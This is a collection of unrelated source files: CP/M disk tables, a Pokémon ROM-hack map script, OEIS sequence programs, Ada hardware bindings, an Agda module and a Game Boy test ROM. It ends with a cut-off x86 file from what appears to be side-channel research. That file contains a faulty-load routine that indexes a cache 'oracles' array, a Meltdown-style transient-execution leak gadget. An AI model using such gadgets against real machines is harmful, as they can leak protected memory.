db 0 ; AL1
dw 32 ; CKS - checksum array size
dw 0 ; OFF - system tracks
endif
; Extra diskette 8" SS/DD, 500kB, only as C: drive (A: B: is 1.2MB 5.25")
; 77 tracks(two side), 26 (256 byte) sectors per track/ only one side, 2002 sectors totally
; 250 allocation 2kB blocks (2000 sectors), 2 sectors unused
; 64 dir size (1x16x4) - dir is saved in 1 allocation blocks
; 0 system track
; QUICK and DIRTY hack - make it pretend it is double sided to avoid blocking/deblocking bug
; virtual track sector -> trck = (track*2 + sector%26), sec = (sector % 26)
DPB2:
if (Extra<>Floppy)
if (Extra==50)
dw 52 ; SPT - logical sectors per track
db 4 ; BSH - block shift
db 15 ; BLM - block mask
db 1 ; EXM - ext.mask
dw 249 ; DSM - capacity-1
dw 63 ; DRM - dir size-1
db 128 ; AL0 - dir allocation mask
db 0 ; AL1
dw 16 ; CKS - checksum array size
dw 0 ; OFF - system tracks
elseif (Extra==120)
dw 104 ; SPT - logical sectors per track
db 4 ; BSH - block shift
db 15 ; BLM - block mask
db 0 ; EXM - ext.mask
dw 519 ; DSM - capacity-1
dw 127 ; DRM - dir size-1
db 192 ; AL0 - dir allocation mask
db 0 ; AL1
dw 32 ; CKS - checksum array size
dw 0 ; OFF - system tracks
elseif (Extra==144)
dw 128 ; SPT - logical sectors per track
db 4 ; BSH - block shift
db 15 ; BLM - block mask
db 0 ; EXM - ext.mask
dw 639 ; DSM - capacity-1
dw 255 ; DRM - dir size-1
db 240 ; AL0 - dir allocation mask
db 0 ; AL1
dw 64 ; CKS - checksum array size
dw 0 ; OFF - system tracks
endif
endif
|
maps/OreburghPokemonCenter1F.asm
|
AtmaBuster/pokeplat-gen2
| 6
|
12630
|
<filename>maps/OreburghPokemonCenter1F.asm
object_const_def ; object_event constants
OreburghPokemonCenter1F_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
OreburghPokemonCenter1F_NurseScript:
jumpstd pokecenternurse
OreburghPokemonCenter1F_PCGirlScript:
jumptextfaceplayer .Text
.Text:
text "Switch on the PC"
line "at any #MON"
cont "CENTER."
para "Connect to"
line "“SOMEONE's PC” and"
cont "access the #MON"
cont "STORAGE SYSTEM."
para "That's all you need"
line "to do to store or"
cont "bring out your"
cont "#MON."
done
OreburghPokemonCenter1F_TeamGalacticGuyScript:
jumptextfaceplayer .Text
.Text:
text "Hmmm!"
para "What, or who, is"
line "TEAM GALACTIC?!"
para "They make"
line "wonderful claims"
cont "of a dream energy"
cont "source on one"
cont "hand…"
para "But rumor has it,"
line "they steal #MON"
cont "from others by"
cont "force."
para "It's a mystery!"
line "They're mysterious!"
para "Isn't anyone"
line "investigating"
cont "them?"
done
OreburghPokemonCenter1F_MapEvents:
db 0, 0 ; filler
db 3 ; warp events
warp_event 3, 7, OREBURGH_CITY, 6
warp_event 4, 7, OREBURGH_CITY, 6
warp_event 0, 7, POKECENTER_2F, 1
db 0 ; coord events
db 0 ; bg events
db 3 ; object events
object_event 3, 1, SPRITE_NURSE, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, OreburghPokemonCenter1F_NurseScript, -1
object_event 1, 3, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 1, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, OreburghPokemonCenter1F_PCGirlScript, -1
; object_event 2, 5, SPRITE_SUPER_NERD, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, OreburghPokemonCenter1F_, -1
; object_event 8, 6, SPRITE_BUG_CATCHER, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 1, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, OreburghPokemonCenter1F_, -1
object_event 6, 7, SPRITE_GENTLEMAN, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, OreburghPokemonCenter1F_TeamGalacticGuyScript, -1
; object_event 7, 3, SPRITE_GAMEBOY_KID, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, OreburghPokemonCenter1F_, -1
; object_event 8, 3, SPRITE_GAMEBOY_KID, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, OreburghPokemonCenter1F_, -1
|
programs/oeis/108/A108514.asm
|
neoneye/loda
| 22
|
177391
|
; A108514: If n is a power of 2, a(n)=n; otherwise a(n) = (p-1)*n/p where p = smallest odd prime divisor of n.
; 1,2,2,4,4,4,6,8,6,8,10,8,12,12,10,16,16,12,18,16,14,20,22,16,20,24,18,24,28,20,30,32,22,32,28,24,36,36,26,32,40,28,42,40,30,44,46,32,42,40,34,48,52,36,44,48,38,56,58,40,60,60,42,64,52,44,66,64,46,56,70,48,72,72,50,72,66,52,78,64,54,80,82,56,68,84,58,80,88,60,78,88,62,92,76,64,96,84,66,80
add $0,1
mov $1,$0
lpb $1
lpb $0
mov $3,$0
lpb $3
sub $0,4
mul $1,2
mov $2,$1
cmp $2,0
add $1,$2
dif $3,$1
lpe
lpe
add $0,1
sub $1,1
lpe
div $0,2
|
programs/oeis/194/A194275.asm
|
karttu/loda
| 1
|
93836
|
<reponame>karttu/loda
; A194275: Concentric pentagonal numbers of the second kind: a(n) = floor(5*n*(n+1)/6).
; 0,1,5,10,16,25,35,46,60,75,91,110,130,151,175,200,226,255,285,316,350,385,421,460,500,541,585,630,676,725,775,826,880,935,991,1050,1110,1171,1235,1300,1366,1435,1505,1576,1650,1725,1801,1880,1960,2041,2125,2210,2296,2385,2475,2566,2660,2755,2851,2950,3050,3151,3255,3360,3466,3575,3685,3796,3910,4025,4141,4260,4380,4501,4625,4750,4876,5005,5135,5266,5400,5535,5671,5810,5950,6091,6235,6380,6526,6675,6825,6976,7130,7285,7441,7600,7760,7921,8085,8250,8416,8585,8755,8926,9100,9275,9451,9630,9810,9991,10175,10360,10546,10735,10925,11116,11310,11505,11701,11900,12100,12301,12505,12710,12916,13125,13335,13546,13760,13975,14191,14410,14630,14851,15075,15300,15526,15755,15985,16216,16450,16685,16921,17160,17400,17641,17885,18130,18376,18625,18875,19126,19380,19635,19891,20150,20410,20671,20935,21200,21466,21735,22005,22276,22550,22825,23101,23380,23660,23941,24225,24510,24796,25085,25375,25666,25960,26255,26551,26850,27150,27451,27755,28060,28366,28675,28985,29296,29610,29925,30241,30560,30880,31201,31525,31850,32176,32505,32835,33166,33500,33835,34171,34510,34850,35191,35535,35880,36226,36575,36925,37276,37630,37985,38341,38700,39060,39421,39785,40150,40516,40885,41255,41626,42000,42375,42751,43130,43510,43891,44275,44660,45046,45435,45825,46216,46610,47005,47401,47800,48200,48601,49005,49410,49816,50225,50635,51046,51460,51875
add $0,1
bin $0,2
mul $0,10
div $0,6
mov $1,$0
|
source/RASCAL-ToolboxWritableField.ads
|
bracke/Meaning
| 0
|
9726
|
<reponame>bracke/Meaning
--------------------------------------------------------------------------------
-- --
-- Copyright (C) 2004, RISC OS Ada Library (RASCAL) developers. --
-- --
-- This library is free software; you can redistribute it and/or --
-- modify it under the terms of the GNU Lesser General Public --
-- License as published by the Free Software Foundation; either --
-- version 2.1 of the License, or (at your option) any later version. --
-- --
-- This library is distributed in the hope that it will be useful, --
-- but WITHOUT ANY WARRANTY; without even the implied warranty of --
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU --
-- Lesser General Public License for more details. --
-- --
-- You should have received a copy of the GNU Lesser General Public --
-- License along with this library; if not, write to the Free Software --
-- Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA --
-- --
--------------------------------------------------------------------------------
-- @brief Toolbox WritableField related types and methods.
-- $Author$
-- $Date$
-- $Revision$
with Interfaces.C; use Interfaces.C;
with System; use System;
with System.Unsigned_Types; use System.Unsigned_Types;
with RASCAL.Toolbox; use RASCAL.Toolbox;
with RASCAL.OS; use RASCAL.OS;
package RASCAL.ToolboxWritableField is
--
-- This event is raised when the value of a writable field has been changed by the user.
--
type Toolbox_WritableField_ValueChanged is
record
Header : Toolbox_Event_Header;
Content : Char_Array (1..208);
end record;
pragma Convention (C, Toolbox_WritableField_ValueChanged);
type Toolbox_WritableField_ValueChanged_Pointer is access Toolbox_WritableField_ValueChanged;
type ATEL_Toolbox_WritableField_ValueChanged is abstract new Toolbox_EventListener(Toolbox_Event_WritableField_ValueChanged,-1,-1) with
record
Event : Toolbox_WritableField_ValueChanged_Pointer;
end record;
--
-- Returns the value (content) of the writable field.
--
function Get_Value (Window : in Object_ID;
Component : in Component_ID;
Flags : in System.Unsigned_Types.Unsigned := 0) return String;
--
-- Sets the list of allowed characters for the writable field.
--
procedure Set_Allowable (Window : in Object_ID;
Component : in Component_ID;
Allowable : in string;
Flags : in System.Unsigned_Types.Unsigned := 0);
--
-- Sets the font to be used in the writable field. Default is the system font.
--
procedure Set_Font (Window : in Object_ID;
Component : in Component_ID;
Font : in String;
Font_Width : in integer := 12;
Font_Height : in integer := 12;
Flags : in System.Unsigned_Types.Unsigned := 0);
--
-- Sets the value (content) of the writable field.
--
procedure Set_Value (Window : in Object_ID;
Component : in Component_ID;
New_Value : in string;
Flags : in System.Unsigned_Types.Unsigned := 0);
--
--
--
procedure Handle(The : in ATEL_Toolbox_WritableField_ValueChanged) is abstract;
end RASCAL.ToolboxWritableField;
|
src/svd/sam_svd-icm.ads
|
Fabien-Chouteau/samd51-hal
| 1
|
17025
|
<reponame>Fabien-Chouteau/samd51-hal
pragma Style_Checks (Off);
-- This spec has been automatically generated from ATSAMD51G19A.svd
pragma Restrictions (No_Elaboration_Code);
with HAL;
with System;
package SAM_SVD.ICM is
pragma Preelaborate;
---------------
-- Registers --
---------------
subtype ICM_CFG_BBC_Field is HAL.UInt4;
-- User SHA Algorithm
type CFG_UALGOSelect is
(-- SHA1 Algorithm
SHA1,
-- SHA256 Algorithm
SHA256,
-- SHA224 Algorithm
SHA224)
with Size => 3;
for CFG_UALGOSelect use
(SHA1 => 0,
SHA256 => 1,
SHA224 => 4);
subtype ICM_CFG_HAPROT_Field is HAL.UInt6;
subtype ICM_CFG_DAPROT_Field is HAL.UInt6;
-- Configuration
type ICM_CFG_Register is record
-- Write Back Disable
WBDIS : Boolean := False;
-- End of Monitoring Disable
EOMDIS : Boolean := False;
-- Secondary List Branching Disable
SLBDIS : Boolean := False;
-- unspecified
Reserved_3_3 : HAL.Bit := 16#0#;
-- Bus Burden Control
BBC : ICM_CFG_BBC_Field := 16#0#;
-- Automatic Switch To Compare Digest
ASCD : Boolean := False;
-- Dual Input Buffer
DUALBUFF : Boolean := False;
-- unspecified
Reserved_10_11 : HAL.UInt2 := 16#0#;
-- User Initial Hash Value
UIHASH : Boolean := False;
-- User SHA Algorithm
UALGO : CFG_UALGOSelect := SAM_SVD.ICM.SHA1;
-- Region Hash Area Protection
HAPROT : ICM_CFG_HAPROT_Field := 16#0#;
-- unspecified
Reserved_22_23 : HAL.UInt2 := 16#0#;
-- Region Descriptor Area Protection
DAPROT : ICM_CFG_DAPROT_Field := 16#0#;
-- unspecified
Reserved_30_31 : HAL.UInt2 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ICM_CFG_Register use record
WBDIS at 0 range 0 .. 0;
EOMDIS at 0 range 1 .. 1;
SLBDIS at 0 range 2 .. 2;
Reserved_3_3 at 0 range 3 .. 3;
BBC at 0 range 4 .. 7;
ASCD at 0 range 8 .. 8;
DUALBUFF at 0 range 9 .. 9;
Reserved_10_11 at 0 range 10 .. 11;
UIHASH at 0 range 12 .. 12;
UALGO at 0 range 13 .. 15;
HAPROT at 0 range 16 .. 21;
Reserved_22_23 at 0 range 22 .. 23;
DAPROT at 0 range 24 .. 29;
Reserved_30_31 at 0 range 30 .. 31;
end record;
subtype ICM_CTRL_REHASH_Field is HAL.UInt4;
subtype ICM_CTRL_RMDIS_Field is HAL.UInt4;
subtype ICM_CTRL_RMEN_Field is HAL.UInt4;
-- Control
type ICM_CTRL_Register is record
-- Write-only. ICM Enable
ENABLE : Boolean := False;
-- Write-only. ICM Disable Register
DISABLE : Boolean := False;
-- Write-only. Software Reset
SWRST : Boolean := False;
-- unspecified
Reserved_3_3 : HAL.Bit := 16#0#;
-- Write-only. Recompute Internal Hash
REHASH : ICM_CTRL_REHASH_Field := 16#0#;
-- Write-only. Region Monitoring Disable
RMDIS : ICM_CTRL_RMDIS_Field := 16#0#;
-- Write-only. Region Monitoring Enable
RMEN : ICM_CTRL_RMEN_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ICM_CTRL_Register use record
ENABLE at 0 range 0 .. 0;
DISABLE at 0 range 1 .. 1;
SWRST at 0 range 2 .. 2;
Reserved_3_3 at 0 range 3 .. 3;
REHASH at 0 range 4 .. 7;
RMDIS at 0 range 8 .. 11;
RMEN at 0 range 12 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype ICM_SR_RAWRMDIS_Field is HAL.UInt4;
subtype ICM_SR_RMDIS_Field is HAL.UInt4;
-- Status
type ICM_SR_Register is record
-- Read-only. ICM Controller Enable Register
ENABLE : Boolean;
-- unspecified
Reserved_1_7 : HAL.UInt7;
-- Read-only. RAW Region Monitoring Disabled Status
RAWRMDIS : ICM_SR_RAWRMDIS_Field;
-- Read-only. Region Monitoring Disabled Status
RMDIS : ICM_SR_RMDIS_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ICM_SR_Register use record
ENABLE at 0 range 0 .. 0;
Reserved_1_7 at 0 range 1 .. 7;
RAWRMDIS at 0 range 8 .. 11;
RMDIS at 0 range 12 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype ICM_IER_RHC_Field is HAL.UInt4;
subtype ICM_IER_RDM_Field is HAL.UInt4;
subtype ICM_IER_RBE_Field is HAL.UInt4;
subtype ICM_IER_RWC_Field is HAL.UInt4;
subtype ICM_IER_REC_Field is HAL.UInt4;
subtype ICM_IER_RSU_Field is HAL.UInt4;
-- Interrupt Enable
type ICM_IER_Register is record
-- Write-only. Region Hash Completed Interrupt Enable
RHC : ICM_IER_RHC_Field := 16#0#;
-- Write-only. Region Digest Mismatch Interrupt Enable
RDM : ICM_IER_RDM_Field := 16#0#;
-- Write-only. Region Bus Error Interrupt Enable
RBE : ICM_IER_RBE_Field := 16#0#;
-- Write-only. Region Wrap Condition detected Interrupt Enable
RWC : ICM_IER_RWC_Field := 16#0#;
-- Write-only. Region End bit Condition Detected Interrupt Enable
REC : ICM_IER_REC_Field := 16#0#;
-- Write-only. Region Status Updated Interrupt Disable
RSU : ICM_IER_RSU_Field := 16#0#;
-- Write-only. Undefined Register Access Detection Interrupt Enable
URAD : Boolean := False;
-- unspecified
Reserved_25_31 : HAL.UInt7 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ICM_IER_Register use record
RHC at 0 range 0 .. 3;
RDM at 0 range 4 .. 7;
RBE at 0 range 8 .. 11;
RWC at 0 range 12 .. 15;
REC at 0 range 16 .. 19;
RSU at 0 range 20 .. 23;
URAD at 0 range 24 .. 24;
Reserved_25_31 at 0 range 25 .. 31;
end record;
subtype ICM_IDR_RHC_Field is HAL.UInt4;
subtype ICM_IDR_RDM_Field is HAL.UInt4;
subtype ICM_IDR_RBE_Field is HAL.UInt4;
subtype ICM_IDR_RWC_Field is HAL.UInt4;
subtype ICM_IDR_REC_Field is HAL.UInt4;
subtype ICM_IDR_RSU_Field is HAL.UInt4;
-- Interrupt Disable
type ICM_IDR_Register is record
-- Write-only. Region Hash Completed Interrupt Disable
RHC : ICM_IDR_RHC_Field := 16#0#;
-- Write-only. Region Digest Mismatch Interrupt Disable
RDM : ICM_IDR_RDM_Field := 16#0#;
-- Write-only. Region Bus Error Interrupt Disable
RBE : ICM_IDR_RBE_Field := 16#0#;
-- Write-only. Region Wrap Condition Detected Interrupt Disable
RWC : ICM_IDR_RWC_Field := 16#0#;
-- Write-only. Region End bit Condition detected Interrupt Disable
REC : ICM_IDR_REC_Field := 16#0#;
-- Write-only. Region Status Updated Interrupt Disable
RSU : ICM_IDR_RSU_Field := 16#0#;
-- Write-only. Undefined Register Access Detection Interrupt Disable
URAD : Boolean := False;
-- unspecified
Reserved_25_31 : HAL.UInt7 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ICM_IDR_Register use record
RHC at 0 range 0 .. 3;
RDM at 0 range 4 .. 7;
RBE at 0 range 8 .. 11;
RWC at 0 range 12 .. 15;
REC at 0 range 16 .. 19;
RSU at 0 range 20 .. 23;
URAD at 0 range 24 .. 24;
Reserved_25_31 at 0 range 25 .. 31;
end record;
subtype ICM_IMR_RHC_Field is HAL.UInt4;
subtype ICM_IMR_RDM_Field is HAL.UInt4;
subtype ICM_IMR_RBE_Field is HAL.UInt4;
subtype ICM_IMR_RWC_Field is HAL.UInt4;
subtype ICM_IMR_REC_Field is HAL.UInt4;
subtype ICM_IMR_RSU_Field is HAL.UInt4;
-- Interrupt Mask
type ICM_IMR_Register is record
-- Read-only. Region Hash Completed Interrupt Mask
RHC : ICM_IMR_RHC_Field;
-- Read-only. Region Digest Mismatch Interrupt Mask
RDM : ICM_IMR_RDM_Field;
-- Read-only. Region Bus Error Interrupt Mask
RBE : ICM_IMR_RBE_Field;
-- Read-only. Region Wrap Condition Detected Interrupt Mask
RWC : ICM_IMR_RWC_Field;
-- Read-only. Region End bit Condition Detected Interrupt Mask
REC : ICM_IMR_REC_Field;
-- Read-only. Region Status Updated Interrupt Mask
RSU : ICM_IMR_RSU_Field;
-- Read-only. Undefined Register Access Detection Interrupt Mask
URAD : Boolean;
-- unspecified
Reserved_25_31 : HAL.UInt7;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ICM_IMR_Register use record
RHC at 0 range 0 .. 3;
RDM at 0 range 4 .. 7;
RBE at 0 range 8 .. 11;
RWC at 0 range 12 .. 15;
REC at 0 range 16 .. 19;
RSU at 0 range 20 .. 23;
URAD at 0 range 24 .. 24;
Reserved_25_31 at 0 range 25 .. 31;
end record;
subtype ICM_ISR_RHC_Field is HAL.UInt4;
subtype ICM_ISR_RDM_Field is HAL.UInt4;
subtype ICM_ISR_RBE_Field is HAL.UInt4;
subtype ICM_ISR_RWC_Field is HAL.UInt4;
subtype ICM_ISR_REC_Field is HAL.UInt4;
subtype ICM_ISR_RSU_Field is HAL.UInt4;
-- Interrupt Status
type ICM_ISR_Register is record
-- Read-only. Region Hash Completed
RHC : ICM_ISR_RHC_Field;
-- Read-only. Region Digest Mismatch
RDM : ICM_ISR_RDM_Field;
-- Read-only. Region Bus Error
RBE : ICM_ISR_RBE_Field;
-- Read-only. Region Wrap Condition Detected
RWC : ICM_ISR_RWC_Field;
-- Read-only. Region End bit Condition Detected
REC : ICM_ISR_REC_Field;
-- Read-only. Region Status Updated Detected
RSU : ICM_ISR_RSU_Field;
-- Read-only. Undefined Register Access Detection Status
URAD : Boolean;
-- unspecified
Reserved_25_31 : HAL.UInt7;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ICM_ISR_Register use record
RHC at 0 range 0 .. 3;
RDM at 0 range 4 .. 7;
RBE at 0 range 8 .. 11;
RWC at 0 range 12 .. 15;
REC at 0 range 16 .. 19;
RSU at 0 range 20 .. 23;
URAD at 0 range 24 .. 24;
Reserved_25_31 at 0 range 25 .. 31;
end record;
-- Undefined Register Access Trace
type UASR_URATSelect is
(-- Unspecified structure member set to one detected when the descriptor is
-- loaded
UNSPEC_STRUCT_MEMBER,
-- CFG modified during active monitoring
CFG_MODIFIED,
-- DSCR modified during active monitoring
DSCR_MODIFIED,
-- HASH modified during active monitoring
HASH_MODIFIED,
-- Write-only register read access
READ_ACCESS)
with Size => 3;
for UASR_URATSelect use
(UNSPEC_STRUCT_MEMBER => 0,
CFG_MODIFIED => 1,
DSCR_MODIFIED => 2,
HASH_MODIFIED => 3,
READ_ACCESS => 4);
-- Undefined Access Status
type ICM_UASR_Register is record
-- Read-only. Undefined Register Access Trace
URAT : UASR_URATSelect;
-- unspecified
Reserved_3_31 : HAL.UInt29;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ICM_UASR_Register use record
URAT at 0 range 0 .. 2;
Reserved_3_31 at 0 range 3 .. 31;
end record;
subtype ICM_DSCR_DASA_Field is HAL.UInt26;
-- Region Descriptor Area Start Address
type ICM_DSCR_Register is record
-- unspecified
Reserved_0_5 : HAL.UInt6 := 16#0#;
-- Descriptor Area Start Address
DASA : ICM_DSCR_DASA_Field := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ICM_DSCR_Register use record
Reserved_0_5 at 0 range 0 .. 5;
DASA at 0 range 6 .. 31;
end record;
subtype ICM_HASH_HASA_Field is HAL.UInt25;
-- Region Hash Area Start Address
type ICM_HASH_Register is record
-- unspecified
Reserved_0_6 : HAL.UInt7 := 16#0#;
-- Hash Area Start Address
HASA : ICM_HASH_HASA_Field := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ICM_HASH_Register use record
Reserved_0_6 at 0 range 0 .. 6;
HASA at 0 range 7 .. 31;
end record;
-- User Initial Hash Value n
-- User Initial Hash Value n
type ICM_UIHVAL_Registers is array (0 .. 7) of HAL.UInt32;
-----------------
-- Peripherals --
-----------------
-- Integrity Check Monitor
type ICM_Peripheral is record
-- Configuration
CFG : aliased ICM_CFG_Register;
-- Control
CTRL : aliased ICM_CTRL_Register;
-- Status
SR : aliased ICM_SR_Register;
-- Interrupt Enable
IER : aliased ICM_IER_Register;
-- Interrupt Disable
IDR : aliased ICM_IDR_Register;
-- Interrupt Mask
IMR : aliased ICM_IMR_Register;
-- Interrupt Status
ISR : aliased ICM_ISR_Register;
-- Undefined Access Status
UASR : aliased ICM_UASR_Register;
-- Region Descriptor Area Start Address
DSCR : aliased ICM_DSCR_Register;
-- Region Hash Area Start Address
HASH : aliased ICM_HASH_Register;
-- User Initial Hash Value n
UIHVAL : aliased ICM_UIHVAL_Registers;
end record
with Volatile;
for ICM_Peripheral use record
CFG at 16#0# range 0 .. 31;
CTRL at 16#4# range 0 .. 31;
SR at 16#8# range 0 .. 31;
IER at 16#10# range 0 .. 31;
IDR at 16#14# range 0 .. 31;
IMR at 16#18# range 0 .. 31;
ISR at 16#1C# range 0 .. 31;
UASR at 16#20# range 0 .. 31;
DSCR at 16#30# range 0 .. 31;
HASH at 16#34# range 0 .. 31;
UIHVAL at 16#38# range 0 .. 255;
end record;
-- Integrity Check Monitor
ICM_Periph : aliased ICM_Peripheral
with Import, Address => ICM_Base;
end SAM_SVD.ICM;
|
src/rom.asm
|
Amjad50/rtc3test
| 19
|
92084
|
<filename>src/rom.asm
VERSION EQU 4
INCLUDE "hardware.asm"
INCLUDE "charmap.asm"
INCLUDE "macros.asm"
INCLUDE "tmacros.asm"
hTestResult EQU $ff80
hRandomState EQU $fffe
SECTION "Header", ROM0[0]
INCLUDE "header.asm"
SECTION "Main", ROM0[$150]
INCLUDE "main.asm"
INCLUDE "font.asm"
INCLUDE "math.asm"
INCLUDE "joypad.asm"
INCLUDE "rtc.asm"
INCLUDE "text.asm"
INCLUDE "timing.asm"
INCLUDE "wait.asm"
; Tests
INCLUDE "tests.asm"
INCLUDE "basic.asm"
INCLUDE "range.asm"
INCLUDE "subsec.asm"
|
programs/oeis/063/A063116.asm
|
neoneye/loda
| 22
|
13706
|
<filename>programs/oeis/063/A063116.asm
; A063116: Dimension of the space of weight 2n cusp forms for Gamma_0( 48 ).
; 3,18,34,50,66,82,98,114,130,146,162,178,194,210,226,242,258,274,290,306,322,338,354,370,386,402,418,434,450,466,482,498,514,530,546,562,578,594,610,626,642,658,674,690,706,722,738,754,770,786
mul $0,16
trn $0,1
add $0,3
|
Dave/Structures/Definitions.agda
|
DavidStahl97/formal-proofs
| 0
|
9100
|
<filename>Dave/Structures/Definitions.agda
module Dave.Structures.Definitions where
open import Dave.Equality public
op₁ : Set → Set
op₁ A = A → A
op₂ : Set → Set
op₂ A = A → A → A
associative : {A : Set} → op₂ A → Set
associative _·_ = ∀ m n p → (m · n) · p ≡ m · (n · p)
commutative : {A : Set} → op₂ A → Set
commutative _·_ = ∀ m n → m · n ≡ n · m
left-identity : {A : Set} → op₂ A → (e : A) → Set
left-identity _·_ e = ∀ m → e · m ≡ m
right-identity : {A : Set} → op₂ A → (e : A) → Set
right-identity _·_ e = ∀ m → m · e ≡ m
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_1956_1896.asm
|
ljhsiun2/medusa
| 9
|
92750
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x4211, %r15
nop
nop
nop
xor $42038, %rbp
movb (%r15), %r14b
and %rdi, %rdi
lea addresses_normal_ht+0x1b211, %rsi
lea addresses_A_ht+0x8251, %rdi
nop
nop
nop
sub %r12, %r12
mov $62, %rcx
rep movsl
nop
nop
nop
nop
inc %r14
lea addresses_normal_ht+0x19411, %rsi
lea addresses_A_ht+0x1986f, %rdi
clflush (%rdi)
nop
xor $34856, %r12
mov $27, %rcx
rep movsl
sub $17300, %r14
lea addresses_normal_ht+0x1d011, %rdi
nop
nop
nop
nop
add $1899, %r12
movb (%rdi), %cl
nop
xor $10540, %rdi
lea addresses_D_ht+0xb811, %rcx
nop
nop
nop
nop
nop
inc %rdi
mov $0x6162636465666768, %rsi
movq %rsi, (%rcx)
nop
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_normal_ht+0x2689, %rsi
lea addresses_A_ht+0x11c11, %rdi
nop
nop
nop
nop
xor %r9, %r9
mov $113, %rcx
rep movsq
nop
nop
nop
xor $12601, %rbp
lea addresses_WC_ht+0xe439, %rsi
lea addresses_WC_ht+0x1d211, %rdi
nop
nop
nop
nop
nop
inc %r14
mov $28, %rcx
rep movsq
nop
nop
nop
nop
dec %rbp
lea addresses_WT_ht+0x18d11, %r12
nop
nop
nop
sub $51178, %r15
mov (%r12), %r9w
nop
add %rdi, %rdi
lea addresses_UC_ht+0x10411, %r9
inc %rcx
movw $0x6162, (%r9)
nop
nop
nop
and $46377, %r12
lea addresses_D_ht+0xefb3, %r9
nop
nop
nop
nop
nop
cmp $47258, %rbp
and $0xffffffffffffffc0, %r9
vmovntdqa (%r9), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %r15
cmp %r15, %r15
lea addresses_A_ht+0xa111, %rsi
lea addresses_D_ht+0xf8c1, %rdi
nop
nop
nop
nop
nop
add %r9, %r9
mov $89, %rcx
rep movsb
nop
nop
and %rsi, %rsi
lea addresses_normal_ht+0x716d, %rsi
sub %rdi, %rdi
movw $0x6162, (%rsi)
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_UC_ht+0xe7b1, %rsi
lea addresses_WT_ht+0x16411, %rdi
nop
nop
nop
nop
nop
and $30602, %rbp
mov $7, %rcx
rep movsw
nop
xor %r14, %r14
lea addresses_UC_ht+0x1c441, %rdi
nop
nop
add $4582, %rsi
mov $0x6162636465666768, %r14
movq %r14, %xmm6
vmovups %ymm6, (%rdi)
xor $48468, %rdi
lea addresses_WC_ht+0x1d811, %r14
nop
nop
nop
nop
nop
add $11911, %r12
mov $0x6162636465666768, %rcx
movq %rcx, %xmm0
vmovups %ymm0, (%r14)
nop
nop
nop
inc %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %rax
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WC+0xf691, %rsi
nop
nop
nop
and %r10, %r10
mov $0x5152535455565758, %r13
movq %r13, (%rsi)
nop
nop
sub %r13, %r13
// Load
lea addresses_RW+0x5a51, %rax
nop
nop
nop
nop
cmp %rdx, %rdx
mov (%rax), %r13d
nop
nop
inc %rsi
// Store
lea addresses_UC+0x5c75, %rsi
nop
nop
nop
nop
cmp %r13, %r13
movb $0x51, (%rsi)
nop
nop
nop
nop
nop
lfence
// Load
lea addresses_PSE+0x8111, %rdx
nop
nop
nop
nop
cmp %rsi, %rsi
mov (%rdx), %r13w
nop
nop
nop
cmp %r13, %r13
// Store
lea addresses_RW+0xc311, %r13
nop
nop
dec %rdx
mov $0x5152535455565758, %r10
movq %r10, (%r13)
nop
nop
nop
sub $58824, %r10
// Faulty Load
lea addresses_A+0x7411, %r10
nop
nop
nop
and $53670, %rdi
mov (%r10), %r15
lea oracles, %rsi
and $0xff, %r15
shlq $12, %r15
mov (%rsi,%r15,1), %r15
pop %rsi
pop %rdx
pop %rdi
pop %rax
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC', 'congruent': 7}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_RW', 'congruent': 6}}
